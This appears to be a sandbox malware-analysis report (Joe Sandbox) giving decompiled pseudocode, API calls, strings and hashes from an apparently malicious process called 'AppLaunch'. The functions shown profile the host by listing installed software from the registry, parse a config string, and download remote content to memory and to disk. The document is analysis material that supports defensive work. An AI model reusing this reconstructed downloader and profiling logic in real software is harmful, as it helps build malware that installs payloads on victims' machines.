0x004110bb
0x004110c4
0x004110db
0x004110e1
0x004110c6
0x004110cf
0x004110d4
0x004110d4
0x004110e6
0x004110ef
0x004110f5
0x004110f8
0x004110f8
0x00411101
0x00411109
0x0041110a
0x0041110f
0x0041110f
0x00411112
0x0041111c
0x00411122
0x0041112e
0x00411136
0x00411137
0x0041113c
0x0041113c
0x0041113f
0x00411149
0x0041114f
0x00411155
0x0041115f
0x00411167
0x00411168
0x0041116d
0x0041116d
0x0041117c
0x00411186
0x0041118c
0x00411192
0x004111ab
0x004111af
0x004111c2
0x004111c6
0x004111cb
0x004111d4
0x004111d8
0x004111e1
0x004111e3
0x004111e3
0x004111e6
0x004111ef
0x004111fc
0x004111fc
0x004111f5
0x004111f5
0x004111f5
0x00411205
0x0041120d
0x0041120e
0x00411213
0x00411213
0x00411218
0x00411222
0x00411228
0x00411235
0x0041123d
0x0041123e
0x00411243
0x00411243
0x00411246
0x00411250
0x00411256
0x00411262
0x0041126a
0x0041126b
0x00411270
0x00411270
0x00411273
0x00411277
0x00411281
0x00411287
0x00411293
0x0041129b
0x0041129c
0x004112a1
0x004112a1
0x004112a6
0x004112a8
0x004112b3
0x004112b9
0x004112bf
0x004112bf
0x004112d2
0x004112d7
0x004112e6
0x004112f8
0x0041130a
0x0041131c
0x0041132e
0x00411340
0x00411352
0x00411364
0x00411376
0x0041137c
0x00411382
0x00411384
0x00411384
0x0041138f
0x004113a1
0x004113b3
0x004113b8
0x004113bf
0x004113c1
0x004113c1
0x004113cb
0x004113d1
0x004113db
0x004113e3
0x004113e4
0x004113e9
0x004113e9
0x004113f8
0x00411411
0x00411415
0x00411428
0x0041142c
0x00411431
0x00411434
0x0041143b
0x0041143d
0x0041143d
0x00411450
0x00411456
0x0041145b
0x00411465
0x0041146c
0x0041146c
0x00411478
0x00411480
0x00411481
0x00411486
0x00411486
0x0041148e
0x00411494
0x0041149a
0x004114a6
0x004114ae
0x004114af
0x004114b4
0x004114b4
0x004114b7
0x004114bb
0x004114c1
0x004114c7
0x004114d3
0x004114db
0x004114dc
0x004114e1
0x004114e1
0x004114f0
0x00411509
0x0041150d
0x00411517
0x00411520
0x00411524
0x00411529
0x0041152c
0x00411533
0x00411535
0x00411535
0x0041153d
0x00411542
0x00411550
0x00411553
0x0041156e
0x00411570
0x00411575
0x00411555
0x00411555
0x00411555
0x00411544
0x00411544
0x00411544
0x00411580
0x00411588
0x00411589
0x0041158e
0x0041158e
0x00411596
0x0041159c
0x004115a2
0x004115ae
0x004115b6
0x004115b7
0x004115bc
0x004115bc
0x004115bf
0x004115c5
0x004115cb
0x004115d7
0x004115d9
0x004115df
0x004115e0
0x004115e5
0x004115e5
0x004115ee
0x004115f6
0x004115f7
0x004115fc
0x004115fc
0x004115ff
0x0041160a
0x00411612
0x00411613
0x00411618
0x00411618
0x00411621
0x00411624
0x0041162a
0x00411636
0x0041163c
0x00411642
0x00000000
0x00411642

APIs

_memset.LIBCMT ref: 00410F08
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,0000000F,00000000), ref: 00410F1C
_memset.LIBCMT ref: 00410F3D
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?,?,0000000F,00000000), ref: 00410F51
_strlen.LIBCMT ref: 00410F6A
_memmove.LIBCMT ref: 004110CF
GetFileAttributesW.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,?,?,?,00000000), ref: 004111E6
_memset.LIBCMT ref: 004112D2
lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004112E6
lstrcatA.KERNEL32(?,0044AA74,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004112F8
lstrcatA.KERNEL32(?,0044AA78,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041130A
lstrcatA.KERNEL32(?,0044AA7C,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041131C
lstrcatA.KERNEL32(?,0044AA7C,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041132E
lstrcatA.KERNEL32(?,0044AA80,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411340
lstrcatA.KERNEL32(?,0044AA84,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411352
lstrcatA.KERNEL32(?,0044AA88,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411364
lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00411376
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041138F
lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004113A1
lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 004113CB
CreateFileA.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00411450
GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00411465
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0041146C

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$File_memset$FolderPath$AttributesCloseCreateHandleSize_memmove_strlen
String ID:
API String ID: 2538463407-0
Opcode ID: 571cf827b49a546a4972fba5a61b4814dc4613848563f62127dc387765f21dfd
Instruction ID: 65e6095f633bac05c5126306b96c2e51b413896ed0764272b9f8ef9191e3ed8d
Opcode Fuzzy Hash: 571cf827b49a546a4972fba5a61b4814dc4613848563f62127dc387765f21dfd
Instruction Fuzzy Hash: 77329BB1D006689BCB20DF64DC81BDEBBB5AF49306F0445EEE109A7241E739AB84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 0040CE30 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 174
stringCOMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040CE30(void* __eflags) {
				signed int _v8;
				char _v5012;
				char _v10012;
				char _v25012;
				char _v75012;
				char _v125012;
				CHAR* _v125016;
				char _v125020;
				CHAR* _v125024;
				CHAR* _v125028;
				void* __ebx;
				char* __edi;
				CHAR* __esi;
				signed int _t39;
				CHAR* _t41;
				signed int _t53;
				void* _t58;
				char* _t59;
				char _t71;
				CHAR* _t72;
				CHAR* _t73;
				signed int _t74;
				void* _t75;
				void* _t81;

				E00438A70(0x1e864);
				_t39 =  *0x450664; // 0x30e242aa
				_v8 = _t39 ^ _t74;
				_t41 =  *0x4532ac; // 0x0
				_t72 =  *0x453298; // 0x1f281020
				_v125024 = _t41;
				_v125016 = 0;
				L00429B30( &_v75012, 0, 0xc350);
				L00429B30( &_v10012, 0, 0x1388);
				L00429B30( &_v5012, 0, 0x1388);
				L00429B30( &_v125012, 0, 0xc350);
				L00429B30( &_v25012, 0, 0x3a98);
				lstrcatA( &_v75012, _t72);
				_t69 =  &_v75012;
				_t73 = E0042C1AC(_t58,  &_v75012, _t71,  &_v75012, ";",  &_v125020);
				_t81 = _t75 + 0x48;
				_t59 = 1;
				if(_t73 == 0) {
					L15:
					return E00429B16(L00429B30( &_v75012, 0, 0xc350), _t59, _v8 ^ _t74,  &_v75012, _t71, _t73);
				} else {
					_t71 = _v125020;
					do {
						_t13 = _t59 - 1; // 0x0
						_t53 = _t13;
						if(_t53 > 5) {
							goto L14;
						}
						switch( *((intOrPtr*)(_t53 * 4 +  &M0040D0A4))) {
							case 0:
								L00429B30( &_v10012, 0, 0x1388);
								_t81 = _t81 + 0xc;
								lstrcatA( &_v10012, _t73);
								goto L14;
							case 1:
								__edx =  &_v5012;
								L00429B30( &_v5012, 0, 0x1388) =  &_v5012;
								__eax = lstrcatA( &_v5012, __esi);
								goto L14;
							case 2:
								__ecx =  &_v125012;
								__eax = L00429B30( &_v125012, 0, 0xc350);
								__edx =  &_v125012;
								__eax = lstrcatA(__edx, __esi);
								goto L14;
							case 3:
								_push(__esi);
								__eax = E0042C353();
								__esp = __esp + 4;
								_v125028 = __eax;
								goto L14;
							case 4:
								_push("true");
								_push(__esi);
								__eax =  *0x453510();
								if(__eax != 0) {
									_push("false");
									_push(__esi);
									if( *0x453510() != 0) {
										_push(__esi);
										__edi = 1;
										__eax = E0042C353();
										__esp = __esp + 4;
										_v125016 = __eax;
									} else {
										__edi = 0;
									}
								} else {
									_t23 =  &(__eax[1]); // 0x1
									__edi = _t23;
									_v125016 = 0x3e7;
								}
								goto L14;
							case 5:
								 &_v25012 = L00429B30( &_v25012, 0, 0x3a98);
								__ecx =  &_v25012;
								__eax = lstrcatA( &_v25012, __esi);
								__edx = _v125016;
								__eax = _v125024;
								__edx = _v125028;
								__ecx =  &_v5012;
								__eax =  &_v10012;
								__edx = __esi;
								__ecx =  &_v125012;
								__eax = E0040C3A0( &_v125012, __edx,  &_v10012, _v125028,  &_v5012, __edi, _v125024, _v125016); // executed
								__ebx = 0;
								goto L14;
						}
						L14:
						_t59 =  &(_t59[1]);
						_t73 = E0042C1AC(_t59, _t69, _t71, 0, ";",  &_v125020);
						_t81 = _t81 + 0xc;
					} while (_t73 != 0);
					goto L15;
				}
			}

0x0040ce38
0x0040ce3d
0x0040ce44
0x0040ce47
0x0040ce4e
0x0040ce63
0x0040ce69
0x0040ce73
0x0040ce89
0x0040ce9f
0x0040ceb5
0x0040cecb
0x0040cedb
0x0040cee8
0x0040cef9
0x0040cefb
0x0040cefe
0x0040cf05
0x0040d07a
0x0040d0a0
0x0040cf0b
0x0040cf0b
0x0040cf11
0x0040cf11
0x0040cf11
0x0040cf17
0x00000000
0x00000000
0x0040cf1d
0x00000000
0x0040cf32
0x0040cf37
0x0040cf42
0x00000000
0x00000000
0x0040cf52
0x0040cf64
0x0040cf6b
0x00000000
0x00000000
0x0040cf7b
0x0040cf84
0x0040cf8d
0x0040cf94
0x00000000
0x00000000
0x0040cf9f
0x0040cfa0
0x0040cfa5
0x0040cfa8
0x00000000
0x00000000
0x0040cfb3
0x0040cfb8
0x0040cfb9
0x0040cfc1
0x0040cfd5
0x0040cfda
0x0040cfe3
0x0040cfe9
0x0040cfea
0x0040cfef
0x0040cff4
0x0040cff7
0x0040cfe5
0x0040cfe5
0x0040cfe5
0x0040cfc3
0x0040cfc3
0x0040cfc3
0x0040cfc6
0x0040cfc6
0x00000000
0x00000000
0x0040d00d
0x0040d016
0x0040d01d
0x0040d023
0x0040d029
0x0040d030
0x0040d038
0x0040d040
0x0040d047
0x0040d049
0x0040d04f
0x0040d057
0x00000000
0x00000000
0x0040d059
0x0040d067
0x0040d06d
0x0040d06f
0x0040d072
0x00000000
0x0040cf11

APIs

_memset.LIBCMT ref: 0040CE73
_memset.LIBCMT ref: 0040CE89
_memset.LIBCMT ref: 0040CE9F
_memset.LIBCMT ref: 0040CEB5
_memset.LIBCMT ref: 0040CECB
lstrcatA.KERNEL32(?,1F281020), ref: 0040CEDB
_memset.LIBCMT ref: 0040CF32
lstrcatA.KERNEL32(?,00000000), ref: 0040CF42
_memset.LIBCMT ref: 0040CF5B
lstrcatA.KERNEL32(?,00000000), ref: 0040CF6B
_memset.LIBCMT ref: 0040CF84
lstrcatA.KERNEL32(?,00000000), ref: 0040CF94
StrCmpCA.SHLWAPI(00000000,true), ref: 0040CFB9
_memset.LIBCMT ref: 0040D00D
lstrcatA.KERNEL32(?,00000000), ref: 0040D01D
_memset.LIBCMT ref: 0040D088

Strings

false, xrefs: 0040CFD5
true, xrefs: 0040CFB3

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memset$lstrcat
String ID: false$true
API String ID: 2120365950-2658103896
Opcode ID: f0cc6fdbafb858d50b61e7d8c51e34b51b310be8e4c2008be3cdac250a54de0d
Instruction ID: 45f23b3f8791e580a9490eaa40ffd75b9a911d2bcb2c4f7c8ffc16a903ff876b
Opcode Fuzzy Hash: f0cc6fdbafb858d50b61e7d8c51e34b51b310be8e4c2008be3cdac250a54de0d
Instruction Fuzzy Hash: 7051D671E00224A7D720EB50EC82FDE7378AF44705F0405AAB90D661C2EA79A759CF99

Uniqueness

Uniqueness Score: -1.00%

Function 0041ED10 Relevance: 33.4, APIs: 14, Strings: 5, Instructions: 127
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0041ED10(CHAR* __esi) {
				signed int _v8;
				char _v1032;
				char _v2056;
				char _v3080;
				int _v3084;
				void* _v3088;
				void* _v3092;
				int* _v3096;
				int _v3100;
				void* __ebx;
				void* __edi;
				signed int _t36;
				long _t39;
				long _t42;
				long _t45;
				long _t50;
				long _t54;
				void* _t75;
				long _t76;
				CHAR* _t77;
				signed int _t78;
				void* _t79;

				_t77 = __esi;
				_t36 =  *0x450664; // 0x30e242aa
				_v8 = _t36 ^ _t78;
				_v3092 = 0;
				_v3088 = 0;
				_v3100 = 0xf003f;
				_v3084 = 0;
				_t39 = RegOpenKeyExA(0x80000002, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", 0, 0x20019,  &_v3092); // executed
				if(_t39 == 0) {
					_v3096 = 0;
					_push(_t75);
					do {
						_t71 =  &_v3080;
						_v3084 = 0x400;
						_t42 = RegEnumKeyExA(_v3092, _v3096,  &_v3080,  &_v3084, 0, 0, 0, 0); // executed
						_t76 = _t42;
						if(_t76 != 0) {
							goto L9;
						} else {
							wsprintfA( &_v2056, "%s\\%s", "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall",  &_v3080);
							_t79 = _t79 + 0x10;
							_t45 = RegOpenKeyExA(0x80000002,  &_v2056, 0, 0x20019,  &_v3088); // executed
							if(_t45 != 0) {
								_t71 = _v3088;
								RegCloseKey(_v3088);
								_t39 = RegCloseKey(_v3092);
							} else {
								_t71 =  &_v3100;
								_v3084 = 0x400;
								_t50 = RegQueryValueExA(_v3088, "DisplayName", 0,  &_v3100,  &_v1032,  &_v3084); // executed
								if(_t50 == 0) {
									lstrcatA(_t77,  &_v1032);
									_t71 = _v3088;
									_v3084 = 0x400;
									_t54 = RegQueryValueExA(_v3088, "DisplayVersion", 0,  &_v3100,  &_v1032,  &_v3084); // executed
									if(_t54 == 0) {
										lstrcatA(_t77, " [");
										lstrcatA(_t77,  &_v1032);
										lstrcatA(_t77, "]");
									}
									lstrcatA(_t77, "\n");
								}
								RegCloseKey(_v3088);
								goto L9;
							}
						}
						L11:
						_pop(_t75);
						goto L12;
						L9:
						_v3096 = _v3096 + 1;
					} while (_t76 == 0);
					_t39 = RegCloseKey(_v3092);
					goto L11;
				}
				L12:
				return E00429B16(_t39, 0, _v8 ^ _t78, _t71, _t75, _t77);
			}

0x0041ed10
0x0041ed19
0x0041ed20
0x0041ed3d
0x0041ed43
0x0041ed49
0x0041ed53
0x0041ed59
0x0041ed61
0x0041ed67
0x0041ed6d
0x0041ed70
0x0041ed87
0x0041ed90
0x0041ed9a
0x0041eda0
0x0041eda4
0x00000000
0x0041edaa
0x0041edc2
0x0041edc8
0x0041ede4
0x0041edec
0x0041eed6
0x0041eedd
0x0041eec0
0x0041edf2
0x0041ee06
0x0041ee14
0x0041ee1e
0x0041ee26
0x0041ee30
0x0041ee3d
0x0041ee58
0x0041ee62
0x0041ee6a
0x0041ee72
0x0041ee80
0x0041ee8c
0x0041ee8c
0x0041ee98
0x0041ee98
0x0041eea5
0x00000000
0x0041eea5
0x0041edec
0x0041eec0
0x0041eec6
0x00000000
0x0041eeab
0x0041eeab
0x0041eeb1
0x0041eec0
0x00000000
0x0041eec0
0x0041eec7
0x0041eed5

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?,00000000), ref: 0041ED59
RegEnumKeyExA.KERNEL32(?,?,?,?,00000000,00000000,00000000,00000000,00000010), ref: 0041ED9A
wsprintfA.USER32 ref: 0041EDC2
RegOpenKeyExA.KERNEL32(80000002,?,00000000,00020019,?), ref: 0041EDE4
RegQueryValueExA.KERNEL32(?,DisplayName,00000000,?,?,00000400), ref: 0041EE1E
lstrcatA.KERNEL32(?,?), ref: 0041EE30
RegQueryValueExA.KERNEL32(?,DisplayVersion,00000000,?,?,00000400), ref: 0041EE62
lstrcatA.KERNEL32(?,0044A998), ref: 0041EE72
lstrcatA.KERNEL32(?,?), ref: 0041EE80
lstrcatA.KERNEL32(?,0044B51C), ref: 0041EE8C
lstrcatA.KERNEL32(?,004485E8), ref: 0041EE98
RegCloseKey.ADVAPI32(?), ref: 0041EEA5
RegCloseKey.ADVAPI32(?), ref: 0041EEC0
RegCloseKey.ADVAPI32(?), ref: 0041EEDD

Strings

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall, xrefs: 0041ED33, 0041EDB1
%s\%s, xrefs: 0041EDBC
?, xrefs: 0041ED49
DisplayName, xrefs: 0041EE0E
DisplayVersion, xrefs: 0041EE52

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$Close$OpenQueryValue$Enumwsprintf
String ID: %s\%s$?$DisplayName$DisplayVersion$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
API String ID: 3722822016-3437733507
Opcode ID: 70991beb1826b847265cb586694b55273ba711823f99dbaa3fdc6d02ff7371b2
Instruction ID: 16cae1551e3d62be83144265b3ab53cb8db9be7fea49141a6234809cfe9c5a01
Opcode Fuzzy Hash: 70991beb1826b847265cb586694b55273ba711823f99dbaa3fdc6d02ff7371b2
Instruction Fuzzy Hash: 1B416CB590021CABEB20CF55DD84EEAB77CEB4534AF004299F609A2102DF749F85CF68

Uniqueness

Uniqueness Score: -1.00%

Function 00413DF0 Relevance: 31.6, APIs: 14, Strings: 4, Instructions: 124
networkmemoryfileCOMMON

Download Yara Rule

C-Code - Quality: 71%

			E00413DF0(char* __ecx) {
				signed int _v8;
				char _v76;
				void _v1100;
				void* _v1104;
				long _v1108;
				void* _v1112;
				void _v1116;
				intOrPtr _v1168;
				char* _v1172;
				void* _v1176;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t30;
				int _t37;
				char* _t38;
				void* _t41;
				void* _t44;
				long _t53;
				void* _t54;
				void* _t68;
				char* _t69;
				char* _t70;
				signed int _t71;
				void* _t72;
				void* _t73;

				_t30 =  *0x450664; // 0x30e242aa
				_v8 = _t30 ^ _t71;
				_t70 = __ecx;
				_v1108 = 1;
				_v1104 = 0;
				L00429B30( &_v76, 0, 0x40);
				L00429B30( &_v1176, 0, 0x3c);
				_t73 = _t72 + 0x18;
				_v1176 = 0x3c;
				_v1172 =  &_v76;
				_v1168 = 0x40;
				_t37 = InternetCrackUrlA(_t70, lstrlenA(_t70), 0x10000000,  &_v1176);
				_t38 = _v1172;
				if(_t37 == 0) {
					_t38 = "http";
				}
				_push("https");
				_push(_t38);
				if( *0x453510() == 0) {
					_v1104 = 1;
				}
				_t41 = RtlAllocateHeap(GetProcessHeap(), 0, 0x5f5e0ff); // executed
				_t54 = _t41;
				_t68 = InternetOpenA(0x4485e7, 0, 0, 0, 0);
				_v1112 = _t68;
				_v1116 = 0x927c0;
				InternetSetOptionA(_t68, 2,  &_v1116, 4);
				_push(0);
				if(_v1104 == 0) {
					_push(0x4000100);
				} else {
					_push(0x4800100);
				}
				_t44 = InternetOpenUrlA(_t68, _t70, 0, 0, ??, ??);
				_t69 = 0;
				_v1104 = _t44;
				if(_v1108 > 0) {
					while(1) {
						InternetReadFile(_v1104,  &_v1100, 0x400,  &_v1108); // executed
						_t70 = 0;
						if(_v1108 <= 0) {
							goto L11;
						} else {
							goto L9;
						}
						do {
							L9:
							L00429D20(_t69 + _t54, _t71 + _t70 - 0x448, 1);
							_t53 = _v1108;
							_t70 =  &(_t70[1]);
							_t73 = _t73 + 0xc;
							_t69 = _t69 + 1;
						} while (_t70 < _t53);
						if(_t53 != 0) {
							continue;
						}
						goto L11;
					}
				}
				L11:
				InternetCloseHandle(_v1104);
				InternetCloseHandle(_v1112);
				return E00429B16(_t54, _t54, _v8 ^ _t71, _t69, _t69, _t70);
			}

0x00413df9
0x00413e00
0x00413e13
0x00413e15
0x00413e1b
0x00413e25
0x00413e35
0x00413e3a
0x00413e4d
0x00413e57
0x00413e5d
0x00413e6f
0x00413e77
0x00413e7d
0x00413e7f
0x00413e7f
0x00413e84
0x00413e89
0x00413e92
0x00413e94
0x00413e94
0x00413ea8
0x00413ebb
0x00413ecc
0x00413ed1
0x00413ed7
0x00413ee1
0x00413eee
0x00413ef0
0x00413ef9
0x00413ef2
0x00413ef2
0x00413ef2
0x00413f04
0x00413f0a
0x00413f0c
0x00413f18
0x00413f1a
0x00413f34
0x00413f3a
0x00413f42
0x00000000
0x00000000
0x00000000
0x00000000
0x00413f44
0x00413f44
0x00413f52
0x00413f57
0x00413f5d
0x00413f5e
0x00413f61
0x00413f62
0x00413f68
0x00000000
0x00000000
0x00000000
0x00413f68
0x00413f1a
0x00413f6a
0x00413f71
0x00413f7e
0x00413f98

APIs

_memset.LIBCMT ref: 00413E25
_memset.LIBCMT ref: 00413E35
lstrlenA.KERNEL32(?,10000000,?,?,?,?,00000000,?,0000000F), ref: 00413E67
InternetCrackUrlA.WININET(?,00000000), ref: 00413E6F
StrCmpCA.SHLWAPI(?,https,?,?,?,00000000,?,0000000F), ref: 00413E8A
GetProcessHeap.KERNEL32(00000000,05F5E0FF,?,?,?,00000000,?,0000000F), ref: 00413EA1
RtlAllocateHeap.NTDLL(00000000), ref: 00413EA8
InternetOpenA.WININET(004485E7,00000000,00000000,00000000,00000000), ref: 00413EBD
InternetSetOptionA.WININET(00000000,00000002,?,00000004), ref: 00413EE1
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,04000100,00000000), ref: 00413F04
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00413F34
_memmove.LIBCMT ref: 00413F52
InternetCloseHandle.WININET(00000000), ref: 00413F71
InternetCloseHandle.WININET(?), ref: 00413F7E

Strings

@, xrefs: 00413E5D
http, xrefs: 00413E7F, 00413E89
<, xrefs: 00413E4D
https, xrefs: 00413E84

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen_memset$AllocateCrackFileOptionProcessRead_memmovelstrlen
String ID: <$@$http$https
API String ID: 2725049614-3936193055
Opcode ID: b4ee9fead732d020a5d1aa70623b9d6adf90748c93a1cd3230bf8fa58ebc8c33
Instruction ID: 98d0b7b38db89a7cf15514ed839f1d456a9c999b6a5459a7329b08e3e910f7b1
Opcode Fuzzy Hash: b4ee9fead732d020a5d1aa70623b9d6adf90748c93a1cd3230bf8fa58ebc8c33
Instruction Fuzzy Hash: 424193B1A00314ABEB20DF55DC45FDAB7B8AB44706F0040A9F709A7181DBB4AE85CF6D

Uniqueness

Uniqueness Score: -1.00%

Function 00413500 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 134
networkfilesleepCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E00413500(void* __ecx, CHAR* _a4) {
				signed int _v8;
				void _v264;
				void _v1288;
				long _v1292;
				void* _v1296;
				char* _v1300;
				long _v1304;
				CHAR* _v1308;
				long _v1312;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t26;
				void* _t33;
				void* _t36;
				void* _t37;
				int _t39;
				long _t43;
				int _t45;
				int _t46;
				void* _t49;
				void* _t61;
				void* _t62;
				signed int _t63;

				_t26 =  *0x450664; // 0x30e242aa
				_v8 = _t26 ^ _t63;
				_t61 = 0;
				_t62 = __ecx;
				_v1308 = _a4;
				_v1300 = 0;
				_v1304 = 0x100;
				_t49 = InternetOpenA(0x4485e7, 1, 0, 0, 0);
				if(_t49 != 0) {
					_push("https");
					_push(L00413480(_t49, 0, __ecx));
					if( *0x453510() == 0) {
						_v1300 = 1;
					}
					_v1296 = _t61;
					do {
						_push(0);
						if(_v1300 == 0) {
							_push(0x100);
						} else {
							_push(0x800100);
						}
						_t33 = InternetOpenUrlA(_t49, _t62, 0, 0, ??, ??); // executed
						_t61 = _t33;
						if(HttpQueryInfoA(_t61, 0x13,  &_v264,  &_v1304, 0) == 0) {
							goto L10;
						} else {
							_push("200");
							_push( &_v264);
							if( *0x453510() != 0) {
								Sleep(0x3e8);
								goto L10;
							}
						}
						break;
						L10:
						_t36 = _v1296 + 1;
						_v1296 = _t36;
					} while (_t36 < 3);
					_t37 = CreateFileA(_v1308, 0x40000000, 3, 0, 2, 0x80, 0); // executed
					_t62 = _t37;
					_t39 = InternetReadFile(_t61,  &_v1288, 0x400,  &_v1292); // executed
					if(_t39 != 0) {
						do {
							_t43 = _v1292;
							if(_t43 == 0) {
								L15:
								if(_t43 >= 0x400) {
									goto L16;
								}
							} else {
								_t46 = WriteFile(_t62,  &_v1288, _t43,  &_v1312, 0); // executed
								if(_t46 != 0) {
									_t43 = _v1292;
									if(_t43 == _v1312) {
										goto L15;
									}
								}
							}
							goto L17;
							L16:
							_t45 = InternetReadFile(_t61,  &_v1288, 0x400,  &_v1292); // executed
						} while (_t45 != 0);
					}
					L17:
					_t57 =  &_v1288;
					L00429B30( &_v1288, 0, 0x400);
					CloseHandle(_t62);
					InternetCloseHandle(_t61); // executed
					_t29 = InternetCloseHandle(_t49);
				}
				return E00429B16(_t29, _t49, _v8 ^ _t63, _t57, _t61, _t62);
			}

0x00413509
0x00413510
0x00413519
0x00413525
0x00413527
0x0041352d
0x00413533
0x00413543
0x00413547
0x0041354d
0x00413557
0x00413560
0x00413562
0x00413562
0x0041356c
0x00413572
0x00413579
0x0041357b
0x00413584
0x0041357d
0x0041357d
0x0041357d
0x0041358f
0x004135a5
0x004135b2
0x00000000
0x004135b4
0x004135b4
0x004135bf
0x004135c8
0x004135cf
0x00000000
0x004135cf
0x004135c8
0x00000000
0x004135d5
0x004135db
0x004135dc
0x004135e2
0x00413600
0x0041360d
0x0041361c
0x00413624
0x00413626
0x00413626
0x0041362e
0x0041365a
0x0041365f
0x00000000
0x00000000
0x00413630
0x00413642
0x0041364a
0x0041364c
0x00413658
0x00000000
0x00000000
0x00413658
0x0041364a
0x00000000
0x00413661
0x00413675
0x0041367b
0x00413626
0x0041367f
0x00413684
0x0041368d
0x00413696
0x0041369d
0x004136a4
0x004136a4
0x004136ba

APIs

InternetOpenA.WININET(004485E7,00000001,00000000,00000000,00000000), ref: 0041353D

Part of subcall function 00413480: _memset.LIBCMT ref: 0041349B
Part of subcall function 00413480: _memset.LIBCMT ref: 004134A8
Part of subcall function 00413480: lstrlenA.KERNEL32(00000000,10000000,?), ref: 004134CE
Part of subcall function 00413480: InternetCrackUrlA.WININET(00000000,00000000), ref: 004134D6

StrCmpCA.SHLWAPI(00000000,https), ref: 00413558
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0041358F
HttpQueryInfoA.WININET(00000000,00000013,?,00000100,00000000), ref: 004135AA
StrCmpCA.SHLWAPI(?,200), ref: 004135C0
Sleep.KERNEL32(000003E8), ref: 004135CF
CreateFileA.KERNEL32(?,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00413600
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0041361C
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00413642
InternetReadFile.WININET(00000000,?,00000400,?), ref: 00413675
_memset.LIBCMT ref: 0041368D
CloseHandle.KERNEL32(00000000), ref: 00413696
InternetCloseHandle.WININET(00000000), ref: 0041369D
InternetCloseHandle.WININET(00000000), ref: 004136A4

Strings

200, xrefs: 004135B4
https, xrefs: 0041354D

Memory Dump Source

